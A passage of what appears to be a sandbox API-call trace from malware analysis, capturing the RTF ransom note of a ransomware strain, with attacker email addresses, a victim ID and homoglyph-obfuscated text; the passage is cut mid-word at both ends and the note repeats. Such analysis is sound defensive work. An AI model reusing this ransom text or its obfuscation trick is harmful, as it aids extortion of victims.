\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 